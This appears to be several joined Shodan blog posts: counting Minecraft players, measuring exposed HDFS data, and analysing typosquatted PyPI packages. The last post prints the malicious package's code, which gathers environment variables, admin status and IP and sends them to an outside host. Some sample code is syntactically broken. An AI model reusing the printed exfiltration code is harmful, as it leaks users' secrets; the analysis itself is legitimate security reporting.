For fun I decided to see whether I can figure out how many Minecraft players are online at the moment. And it turns out that it's fairly straight-forward so here's how I did it.

As of now June 1st 2017 at 18:55 there are 96,418 players online on public servers.

To get started I downloaded the latest list of Minecraft servers from Shodan:

shodan download --limit -1 minecraft-servers product:minecraft port:25565

Now the next task is to parse that list of servers and request the number of players that are currently online. To speed things up the plan is to asynchronously perform the requests to the Minecraft servers using the gevent library in Python. It lets you write code that looks synchronous but actually runs asynchronously which means you can perform many connections in parallel. This is the usual template I use when grabbing a bunch of data using gevent:

#!/usr/bin/env python
#
# Shodan Async Workers

## Configuration
NUM_WORKERS = 100


# Make the stdlib async. This is where the gevent magic happens
import gevent.monkey
gevent.monkey.patch_all(subprocess=True, sys=True)


from gevent.pool import Pool
from shodan.helpers import iterate_files
from socket import setdefaulttimeout, socket, AF_INET, SOCK_STREAM

setdefaulttimeout(2.0)

def worker(banner):
    # Here's where you do the network stuff
    # Example:
    # con = socket(AF_INET, SOCK_STREAM)
    # con.connect((banner['ip_str']
    # con.send('hello world\n')
    # data = con.recv(5120)
    return True

def main(files):
    pool = Pool(NUM_WORKERS)

    # Loop through the banners in the file(s) and launch a worker
    # for each banner. When the pool is full it will cause the loop to
    # block until a worker finishes and opens up a spot in the pool.
    for banner in iterate_files(files):
        pool.spawn(worker, banner)

    # Wait for the workers to finish up
    pool.join()

    return True


if __name__ == '__main__':
    import sys
    sys.exit(main(sys.argv[1:])

If you're working with Shodan data files I recommend checking out the shodan.helpers.iterate_files() method since it'll make it easy for you to access the banners. You can give it either a single file:

for banner in iterate_files('minecraft-data.json.gz'):
    ...

Or you can provide it a list of files:

for banner in iterate_files(['minecraft-2017-04.json.gz', minecraft-2017-05.json.gz']):
    ...

To get the player count I added a method in the worker() that looks up the Minecraft info based on their current protocol and kicked it off:

$ python global-player-count.py minecraft-data.json.gz
96418

And that's how I'm now keeping track of how many players are at any moment online on Minecraft!

Note that this method only looks at Minecraft servers running on the default port (25565) and that are publicly-accessible on the Internet.

There's been much focus on MongoDB, Elastic and Redis in terms of data exposure on the Internet due to their general popularity in the developer community. However, in terms of data volume it turns out that HDFS is the real juggernaut. To give you a better idea here's a quick comparison between MongoDB and HDFS:

Even though there are more MongoDB databases connected to the Internet without authentication in terms of data exposure it is dwarfed by HDFS clusters (25 TB vs 5 PB). Where are all these instances located?

Most of the HDFS NameNodes are located in the US (1,900) and China (1,426). And nearly all of the HDFS instances are hosted on the cloud with Amazon leading the charge (1,059) followed by Alibaba (507).

The ransomware attacks on databases that were widely publicized earlier in the year are still happening. And they're impacting both MongoDB and HDFS deployments. For HDFS, Shodan has discovered roughly 207 clusters that have a message warning of the public exposure. And a quick glance at search results in Shodan reveals that most of the public MongoDB instances seem to be compromised. I've previously written on the reason behind these exposures but note that both products nowadays have extensive documentation on secure deployment.

Technical Details

If you'd like to replicate the above findings or perform your own investigations into data exposure, this is how I measured the above.

1. Download data using the Shodan command-line interface:

   shodan download --limit -1 hdfs-servers product:namenode
   

2. Write a Python script to measure the amount of exposed data (hdfs-exposure.py):

   from shodan.helpers import iterate_files, humanize_bytes
   from sys import argv, exit
   
   
   if len(argv) <=1 :
       print('Usage: {} <file1.json.gz> ...'.format(argv[0]))
       exit(1)
   
   
   datasize = 0
   clusters = {}
   
   
   # Loop over all the banners in the provided files
   for banner in iterate_files(argv[1:]):
       try:
           # Grab the HDFS information that Shodan gathers
           info = banner['opts']['hdfs-namenode']
           cid = info['ClusterId']
           # Skip clusters we've already counted
           if cid in clusters:
               continue
           datasize += info['Used']
           clusters[cid] = True
       except:
           pass
   
   
   print(humanize_bytes(datasize))
   

3. Run the Python script to get the amount of data exposed:

   $ python hdfs-exposure.py hdfs-data.json.gz
   5.0 PB
   

A user on Reddit noticed an odd package in the Python Package Index, sometimes refererred to as the Cheese Shop. It's a package with the name setuptool, which a user might mistype when trying to install the popular setuptools package (note the s at the end). Instead of installing a package to help build, install and upgrade packages the user is installing a package that executes the following:

def install(name):
    installed_package = name
    installed_at = datetime.datetime.utcnow()
    host_os = platform.platform()
    try:
        admin_rights = bool(os.getuid() == 0)
    except AttributeError:
        try:
            admin_rights = bool(ctypes.windll.shell32.IsUserAnAdmin() !=    0)
        except:
            admin_rights = False

    environ = os.environ

    if sys.version_info[0] == 3:
        import urllib.request
        from urllib.parse import urlencode
        GET = urllib.request.urlopen
    else:
        import urllib2
        from urllib import urlencode
        GET = urllib2.urlopen

    ipinfo = GET('http://ipinfo.io/json').read()

    try:
        data = {
            'ip': installed_package,
            'ia': installed_at,
            'ho': host_os,
            'ar': admin_rights,
            'env': environ,
            'ii': ipinfo
        }
        data = urlencode(data)
        r = GET('https://zzz.scrapeulous.com/r?',   data.encode('utf8')).read()
    except Exception as e:
        pass

The code determines whether the user is executing the installation as an administrator (admin_rights), which package is being installed since there are several of these hostile packages (installed_package), the environment variables (environ) and the IP address of the device (ipinfo). All the information is URL encoded and then sent to the server located at:

https://zzz.scrapeulous.com/r?

According to the author of the website, these hostile packages are used as honeypots. Honeypots are usually setup to capture and analyze potentially malicious activities, I'm not sure what sort of malicious intent can be deduced from mistyping a package name (maybe that's why the author is grabbing the environment variables?). And the page explaining the intent as being for honeypots was only put up after the Reddit thread blew up. If this was to catch malicious scripts that had typos in them, he wouldn't have had to fake the package author information as well. Hopefully, the person behind this project will publish his research and explain the methodology. In addition to the setuptool package, the user also has other misnamed packages floating around one of which was identified by chhantyal on Reddit. This time it's catching people that are mistyping the requests package, which is a popular alternative package for performing HTTP requests. If a user types reqests instead of the real name, they get a similar script as above which you can download here since the affected packages have already been taken down.

The Python Cheese Shop doesn't ensure the packages are safe and doesn't have any safeguards against potential typosquatting. It would be interesting to see whether other package repositories for NodeJS or Ruby have also experienced typosquatting, if anybody reading this is aware of something please let me know! And if you're using Python, you should be using a virtual environment to make sure no malicious code will run with administrative rights.